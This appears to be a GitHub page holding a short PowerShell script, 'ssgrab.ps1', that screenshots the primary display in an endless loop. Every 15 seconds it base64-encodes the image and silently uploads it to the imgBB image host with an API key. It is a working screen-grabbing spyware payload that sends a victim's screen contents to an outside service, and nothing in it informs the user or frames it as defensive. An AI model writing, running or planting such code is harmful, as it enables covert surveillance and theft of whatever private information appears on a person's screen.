-
Notifications
You must be signed in to change notification settings - Fork 0
/
ssgrab.ps1
29 lines (24 loc) · 942 Bytes
/
ssgrab.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$apiKey = "API KEY"
$url = "https://api.imgbb.com/1/upload"
while ($true) {
# Capture screenshot
Add-Type -AssemblyName System.Windows.Forms
$screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
$bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($screen.X, $screen.Y, 0, 0, $screen.Size)
$graphics.Dispose()
# Convert image to base64-encoded string
$ms = New-Object System.IO.MemoryStream
$bitmap.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
$base64 = [System.Convert]::ToBase64String($ms.ToArray())
$ms.Dispose()
# Upload image to imgBB
$body = @{
key = $apiKey
image = $base64
}
$response = Invoke-RestMethod -Method Post -Uri $url -Body $body
# Wait for 15 seconds before taking the next screenshot
Start-Sleep -Seconds 15
}